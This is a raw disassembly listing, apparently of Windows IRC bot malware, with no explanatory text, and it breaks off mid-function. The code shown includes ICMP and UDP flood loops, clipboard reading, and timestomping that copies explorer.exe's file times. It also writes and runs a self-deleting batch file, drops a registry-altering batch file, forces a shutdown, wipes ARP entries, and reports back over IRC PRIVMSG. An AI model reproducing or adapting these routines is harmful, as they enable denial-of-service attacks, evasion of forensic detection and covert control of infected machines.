mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_4083D4 add esp, 14h dec esi mov edi, esi loc_40846C: ; CODE XREF: sub_40842E+B6j test esi, esi jle short loc_4084EA mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_415467 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_415467 pop ecx cmp eax, ebx pop ecx jz short loc_4084E2 loc_408492: ; CODE XREF: sub_40842E+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_408410 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_4084B3 mov eax, ecx loc_4084B3: ; CODE XREF: sub_40842E+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_4084E6 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_415467 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_415467 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_408492 loc_4084E2: ; CODE XREF: sub_40842E+62j dec edi dec esi jmp short loc_40846C ; --------------------------------------------------------------------------- loc_4084E6: ; CODE XREF: sub_40842E+8Aj xor eax, eax jmp short loc_4084EF ; --------------------------------------------------------------------------- loc_4084EA: ; CODE XREF: sub_40842E+40j mov eax, [ebp+arg_0] add eax, edi loc_4084EF: ; CODE XREF: sub_40842E+BAj pop edi pop esi pop ebx leave retn sub_40842E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084F4 proc near ; CODE XREF: sub_40CC09+3813p ; sub_40CC09+429Dp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:off_41F06C mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:off_41F0B4 lea eax, [ebp+var_100] loc_40852D: ; CODE XREF: sub_4084F4+46j mov cl, [eax] cmp cl, 1Fh jg short loc_408539 cmp cl, 9 jnz short loc_40853C loc_408539: ; CODE XREF: sub_4084F4+3Ej inc eax jmp short loc_40852D ; --------------------------------------------------------------------------- loc_40853C: ; CODE XREF: sub_4084F4+43j ; sub_4084F4+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_408556 mov cl, [eax] cmp cl, 2Eh jz short loc_40853C cmp cl, 21h jl short loc_40853C loc_408556: ; CODE XREF: sub_4084F4+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_44CE08 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 0FFh push esi call sub_413D8A add esp, 18h mov eax, esi pop esi leave retn sub_4084F4 endp ; =============== S U B R O U T I N E ======================================= sub_40857E proc near ; CODE XREF: sub_40CC09+4CEEp push esi push 0 call dword_44CCAC ; OpenClipboard test eax, eax jz short loc_4085B5 push 1 call dword_44CCCC ; GetClipboardData mov esi, eax test esi, esi jz short loc_4085B5 push edi push esi call ds:off_41F0BC push esi mov edi, eax call ds:off_41F0B8 call dword_44CD2C ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4085B5: ; CODE XREF: sub_40857E+Bj ; sub_40857E+19j xor eax, eax pop esi retn sub_40857E endp ; =============== S U B R O U T I N E ======================================= sub_4085B9 proc near ; CODE XREF: sub_40CC09+416Bp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_44CCE8 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_408635 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:off_41F0C8 push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:off_41F0C4 push [esp+10h+arg_0] mov ebx, eax push ebx call sub_413812 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_44CD34 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_44CD34 ; SendMessageA push ebx call ds:off_41F0C0 push edi call ds:dword_41F058 ; CloseHandle push 1 pop eax pop ebx jmp short loc_408637 ; --------------------------------------------------------------------------- loc_408635: ; CODE XREF: sub_4085B9+16j xor eax, eax loc_408637: ; CODE XREF: sub_4085B9+7Aj pop edi pop esi pop ebp retn sub_4085B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40863B proc near ; CODE XREF: sub_40C2D0+21Fp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_44CD94 ; SearchPathA test eax, eax jz short loc_4086DA mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_41F05C push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4086DA lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_41F0D0 ; GetFileTime push ebx mov ebx, ds:dword_41F058 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4086DA lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_41F0CC ; SetFileTime push esi call ebx ; CloseHandle loc_4086DA: ; CODE XREF: sub_40863B+2Aj ; sub_40863B+51j ... pop edi pop esi pop ebx leave retn sub_40863B endp ; =============== S U B R O U T I N E ======================================= sub_4086DF proc near ; CODE XREF: sub_40CC09+130Bp push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41234D pop ecx pop ecx push 50005h push 6 call dword_44CC34 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_4086DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408701 proc near ; CODE XREF: sub_40A3AD+4BAp ; sub_40CC09+4F80p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42A330, esi push edi jz short loc_408725 cmp dword_44CDA8, esi jnz short loc_408725 push esi call sub_409A42 pop ecx loc_408725: ; CODE XREF: sub_408701+13j ; sub_408701+1Bj call sub_413487 lea eax, [ebp+var_764] push eax push 400h call ds:off_41F0E0 lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_413812 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_41F05C ; CreateFileA mov edi, eax cmp edi, esi jbe loc_408885 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_413812 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call ds:dword_41F054 ; WriteFile push edi call ds:dword_41F058 ; CloseHandle push 10h lea eax, [ebp+var_14] push esi push eax call sub_413890 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_413890 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_438A10 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_41F0B0 ; GetModuleHandleA push eax call ds:dword_41F060 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_41F078 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40882D lea eax, [ebp+var_15C] push 80h push eax call ds:dword_41F0DC ; SetFileAttributesA loc_40882D: ; CODE XREF: sub_408701+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_413812 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call ds:off_41F0D8 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_41F0D4 ; CreateProcessA loc_408885: ; CODE XREF: sub_408701+72j pop edi pop esi leave retn sub_408701 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408889 proc near ; CODE XREF: sub_40C2D0+34p var_1860 = byte ptr -1860h var_158 = byte ptr -158h var_58 = byte ptr -58h var_48 = dword ptr -48h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 1860h call sub_413E60 push esi push edi mov ecx, 5C1h mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"... lea edi, [ebp+var_1860] lea eax, [ebp+var_158] rep movsd movsw push offset aCA_bat ; "c:\\a.bat" push eax movsb call sub_413812 pop ecx xor esi, esi pop ecx lea eax, [ebp+var_158] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_41F05C ; CreateFileA mov edi, eax cmp edi, esi jbe short loc_408943 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_1860] push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_1860] push eax push edi call ds:dword_41F054 ; WriteFile push edi call ds:dword_41F058 ; CloseHandle push 44h lea eax, [ebp+var_48] pop edi push edi push esi push eax call sub_413890 add esp, 0Ch lea ecx, [ebp+var_58] mov [ebp+var_48], edi mov [ebp+var_18], si push 1 pop eax push ecx lea ecx, [ebp+var_48] push ecx push esi push esi push 28h mov [ebp+var_1C], eax push eax push esi lea eax, [ebp+var_158] push esi push eax push esi call ds:dword_41F0D4 ; CreateProcessA loc_408943: ; CODE XREF: sub_408889+55j pop edi pop esi leave retn sub_408889 endp ; =============== S U B R O U T I N E ======================================= sub_408947 proc near ; CODE XREF: sub_4013E9+7p ; sub_401B7D+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_44CD18 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40896F push [esp+arg_0] call dword_44CD5C ; gethostbyname test eax, eax jnz short loc_408968 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_408968: ; CODE XREF: sub_408947+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40896F: ; CODE XREF: sub_408947+Dj retn sub_408947 endp ; =============== S U B R O U T I N E ======================================= sub_408970 proc near ; CODE XREF: sub_40C929+D6p mov ecx, dword_44CC14 xor eax, eax test ecx, ecx jz short locret_40897E call ecx ; DnsFlushResolverCache locret_40897E: ; CODE XREF: sub_408970+Aj retn sub_408970 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40897F proc near ; CODE XREF: sub_40CC09:loc_4118A9p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_44CD54 ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_408A45 sub ecx, 32h jz loc_408A3E sub ecx, 48h jz short loc_4089DF sub ecx, 6Eh jz short loc_4089D8 loc_4089C1: ; CODE XREF: sub_40897F+8Bj push eax lea eax, [ebp+var_88] push offset unk_42874C push eax call sub_413812 add esp, 0Ch jmp short loc_408A1F ; --------------------------------------------------------------------------- loc_4089D8: ; CODE XREF: sub_40897F+40j push offset unk_428718 jmp short loc_408A11 ; --------------------------------------------------------------------------- loc_4089DF: ; CODE XREF: sub_40897F+3Bj push [ebp+var_8] call sub_413F0B push [ebp+var_8] mov esi, eax push edi push esi call sub_413890 add esp, 10h cmp esi, edi jz short loc_408A0C lea eax, [ebp+var_8] push ebx push eax push esi call dword_44CD54 ; GetIpNetTable cmp eax, edi jz short loc_408A45 jmp short loc_4089C1 ; --------------------------------------------------------------------------- loc_408A0C: ; CODE XREF: sub_40897F+79j push offset unk_4286D8 loc_408A11: ; CODE XREF: sub_40897F+5Ej ; sub_40897F+C4j lea eax, [ebp+var_88] push eax call sub_413812 pop ecx pop ecx loc_408A1F: ; CODE XREF: sub_40897F+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_409833 pop ecx loc_408A2F: ; CODE XREF: sub_40897F+C8j ; sub_40897F+DCj push esi call sub_413F7F mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_408A3E: ; CODE XREF: sub_40897F+32j push offset unk_428698 jmp short loc_408A11 ; --------------------------------------------------------------------------- loc_408A45: ; CODE XREF: sub_40897F+29j ; sub_40897F+89j cmp [esi], edi jbe short loc_408A2F lea ebx, [esi+4] loc_408A4C: ; CODE XREF: sub_40897F+DAj push ebx call dword_44CD50 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_408A4C jmp short loc_408A2F sub_40897F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A5D proc near ; CODE XREF: sub_401447+249p ; sub_401BD7+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_44CC84 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_44CF0C movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_413812 add esp, 18h mov eax, esi pop esi leave retn sub_408A5D endp ; =============== S U B R O U T I N E ======================================= sub_408AB6 proc near ; CODE XREF: sub_4010B2+24Cp ; sub_4010B2+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_408ADF mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_408AD2: ; CODE XREF: sub_408AB6+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_408AD2 pop edi jmp short loc_408AE3 ; --------------------------------------------------------------------------- loc_408ADF: ; CODE XREF: sub_408AB6+Aj mov edx, [esp+4+arg_0] loc_408AE3: ; CODE XREF: sub_408AB6+27j test esi, esi pop esi jz short loc_408AED movzx ecx, byte ptr [edx] add eax, ecx loc_408AED: ; CODE XREF: sub_408AB6+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_408AB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B03 proc near ; DATA XREF: sub_40CC09+29EBo var_10220 = byte ptr -10220h var_244 = byte ptr -244h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10220h call sub_413E60 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_44CC70 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_44CD18 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_408B5E lea eax, [ebp+var_C0] push eax call dword_44CD5C ; gethostbyname cmp eax, ebx jz short loc_408B64 loc_408B5E: ; CODE XREF: sub_408B03+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_408BC1 loc_408B64: ; CODE XREF: sub_408B03+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_244] push offset unk_4287C8 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_408BA4 push ebx lea eax, [ebp+var_244] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40B2B5 add esp, 14h loc_408BA4: ; CODE XREF: sub_408B03+7Fj lea eax, [ebp+var_244] push eax call sub_409833 push [ebp+var_30] call sub_4135DA pop ecx pop ecx push edi call ds:off_41F040 loc_408BC1: ; CODE XREF: sub_408B03+5Fj cmp eax, ebx jz short loc_408BD1 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_408BD4 ; --------------------------------------------------------------------------- loc_408BD1: ; CODE XREF: sub_408B03+C0j mov [ebp+var_4], esi loc_408BD4: ; CODE XREF: sub_408B03+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_413890 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_408BF4 mov [ebp+var_3C], eax loc_408BF4: ; CODE XREF: sub_408B03+ECj cmp [ebp+var_38], edi jge short loc_408BFC mov [ebp+var_38], edi loc_408BFC: ; CODE XREF: sub_408B03+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_408C29 loc_408C03: ; CODE XREF: sub_408B03+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10220] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_44CC10 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_408C03 loc_408C29: ; CODE XREF: sub_408B03+FEj push [ebp+arg_0] call dword_44CD90 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_244] push offset unk_42878C push eax call sub_413812 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_408C72 push ebx lea eax, [ebp+var_244] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40B2B5 add esp, 14h loc_408C72: ; CODE XREF: sub_408B03+14Dj lea eax, [ebp+var_244] push eax call sub_409833 push [ebp+var_30] call sub_4135DA pop ecx pop ecx push ebx call ds:off_41F040 sub_408B03 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C8F proc near ; DATA XREF: sub_40CC09+2B40o var_10212 = byte ptr -10212h var_10210 = byte ptr -10210h var_234 = byte ptr -234h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10210h call sub_413E60 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_41F044 ; GetTickCount push eax call sub_413864 pop ecx push 11h push 2 push 2 call dword_44CD58 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_44CD18 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_408D74 lea eax, [ebp+var_B0] push eax call dword_44CD5C ; gethostbyname cmp eax, edi jnz short loc_408D6D lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_234] push offset unk_42883C push eax call sub_413812 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_408D50 push edi lea eax, [ebp+var_234] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40B2B5 add esp, 14h loc_408D50: ; CODE XREF: sub_408C8F+9Fj lea eax, [ebp+var_234] push eax call sub_409833 push [ebp+var_20] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 loc_408D6D: ; CODE XREF: sub_408C8F+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_408D77 ; --------------------------------------------------------------------------- loc_408D74: ; CODE XREF: sub_408C8F+6Ej lea eax, [ebp+arg_0] loc_408D77: ; CODE XREF: sub_408C8F+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_408D92 call sub_41386E cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_408D95 ; --------------------------------------------------------------------------- loc_408D92: ; CODE XREF: sub_408C8F+F0j push [ebp+var_24] loc_408D95: ; CODE XREF: sub_408C8F+101j call dword_44CCDC ; ntohs cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_408DA7 mov [ebp+var_24], esi loc_408DA7: ; CODE XREF: sub_408C8F+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_408DB4 mov [ebp+var_24], eax loc_408DB4: ; CODE XREF: sub_408C8F+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_408DC8 mov [ebp+var_28], esi loc_408DC8: ; CODE XREF: sub_408C8F+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_408DE9 loc_408DCF: ; CODE XREF: sub_408C8F+158j call sub_41386E cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10211h], dl jl short loc_408DCF loc_408DE9: ; CODE XREF: sub_408C8F+13Ej ; sub_408C8F+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_408E48 push 0Bh pop esi loc_408DF6: ; CODE XREF: sub_408C8F+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41386E push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10210] push eax push ebx call dword_44CD3C ; sendto push [ebp+var_28] call ds:dword_41F050 ; Sleep dec esi jnz short loc_408DF6 cmp [ebp+var_24], edi jnz short loc_408DE9 call sub_41386E cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_44CCDC ; ntohs mov [ebp+var_E], ax jmp short loc_408DE9 ; --------------------------------------------------------------------------- loc_408E48: ; CODE XREF: sub_408C8F+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_234] push offset unk_428800 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_408E88 push edi lea eax, [ebp+var_234] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40B2B5 add esp, 14h loc_408E88: ; CODE XREF: sub_408C8F+1D7j lea eax, [ebp+var_234] push eax call sub_409833 push [ebp+var_20] call sub_4135DA pop ecx pop ecx push edi call ds:off_41F040 sub_408C8F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_408EA5 proc near ; CODE XREF: sub_408ED5+2Ap ; sub_408F0D+7Ep ... mov eax, dword_44CF24 push esi mov esi, ds:dword_41F058 cmp eax, 0FFFFFFFFh jz short loc_408EB9 push eax call esi ; CloseHandle loc_408EB9: ; CODE XREF: sub_408EA5+Fj mov eax, dword_44CF2C cmp eax, 0FFFFFFFFh jz short loc_408EC6 push eax call esi ; CloseHandle loc_408EC6: ; CODE XREF: sub_408EA5+1Cj mov eax, dword_44CF20 cmp eax, 0FFFFFFFFh jz short loc_408ED3 push eax call esi ; CloseHandle loc_408ED3: ; CODE XREF: sub_408EA5+29j pop esi retn sub_408EA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408ED5 proc near ; CODE XREF: sub_409BFD+14Ap ; sub_40CC09+412Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_413E90 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_44CF28 call ds:dword_41F054 ; WriteFile test eax, eax jnz short loc_408F08 call sub_408EA5 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_408F08: ; CODE XREF: sub_408ED5+28j push 1 pop eax leave retn sub_408ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F0D proc near ; CODE XREF: sub_408F94+D7p ; sub_408F94+F6p ... var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 100h push offset byte_438A10 push [ebp+arg_4] call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_408F50 push 7D0h call ds:dword_41F050 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_100] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_413812 add esp, 10h jmp short loc_408F67 ; --------------------------------------------------------------------------- loc_408F50: ; CODE XREF: sub_408F0D+1Aj push [ebp+arg_8] lea eax, [ebp+var_100] push offset aS_2 ; "%s" push eax call sub_413812 add esp, 0Ch loc_408F67: ; CODE XREF: sub_408F0D+41j lea eax, [ebp+var_100] push 0 push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_100] push eax push [ebp+arg_0] call dword_44CD28 ; send test eax, eax jg short loc_408F90 call sub_408EA5 loc_408F90: ; CODE XREF: sub_408F0D+7Cj xor eax, eax leave retn sub_408F0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F94 proc near ; DATA XREF: sub_4090ED+170o var_10C = byte ptr -10Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi mov esi, 0FFh xor edi, edi mov ebx, offset dword_44CF30 loc_408FAC: ; CODE XREF: sub_408F94+79j ; sub_408F94+DFj push esi lea eax, [ebp+var_10C] push edi push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_10C] push esi push eax push dword_44CF24 call ds:off_41F0E8 test eax, eax jz loc_40907E cmp [ebp+var_4], edi jnz short loc_40900F lea eax, [ebp+var_8] push eax push dword_44CF20 call ds:off_41F0E4 test eax, eax jz short loc_409005 cmp [ebp+var_8], 103h jnz loc_4090A2 loc_409005: ; CODE XREF: sub_408F94+62j push 0Ah call ds:dword_41F050 ; Sleep jmp short loc_408FAC ; --------------------------------------------------------------------------- loc_40900F: ; CODE XREF: sub_408F94+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_409026 loc_409016: ; CODE XREF: sub_408F94+90j cmp [ebp+eax+var_10C], 0Ah jz short loc_409078 inc eax cmp eax, [ebp+var_4] jb short loc_409016 loc_409026: ; CODE XREF: sub_408F94+80j mov [ebp+var_4], 200h loc_40902D: ; CODE XREF: sub_408F94+E8j push esi lea eax, [ebp+var_10C] push edi push eax call sub_413890 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_10C] push eax push dword_44CF24 call ds:off_41F090 test eax, eax jz short loc_4090CA lea eax, [ebp+var_10C] push eax push ebx push dword_44CF64 call sub_408F0D add esp, 0Ch jmp loc_408FAC ; --------------------------------------------------------------------------- loc_409078: ; CODE XREF: sub_408F94+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40902D ; --------------------------------------------------------------------------- loc_40907E: ; CODE XREF: sub_408F94+45j push offset unk_4288FC push ebx push dword_44CF64 call sub_408F0D push [ebp+arg_0] call sub_4135DA add esp, 10h push 1 call ds:off_41F040 loc_4090A2: ; CODE XREF: sub_408F94+6Bj call sub_408EA5 push offset unk_4288C4 push ebx push dword_44CF64 call sub_408F0D push [ebp+arg_0] call sub_4135DA add esp, 10h push edi call ds:off_41F040 loc_4090CA: ; CODE XREF: sub_408F94+C7j push offset unk_428884 push ebx push dword_44CF64 call sub_408F0D push [ebp+arg_0] call sub_4135DA add esp, 10h push edi call ds:off_41F040 sub_408F94 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4090ED proc near ; CODE XREF: sub_409BFD+99p ; sub_40CC09+4D28p var_278 = byte ptr -278h var_174 = byte ptr -174h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov 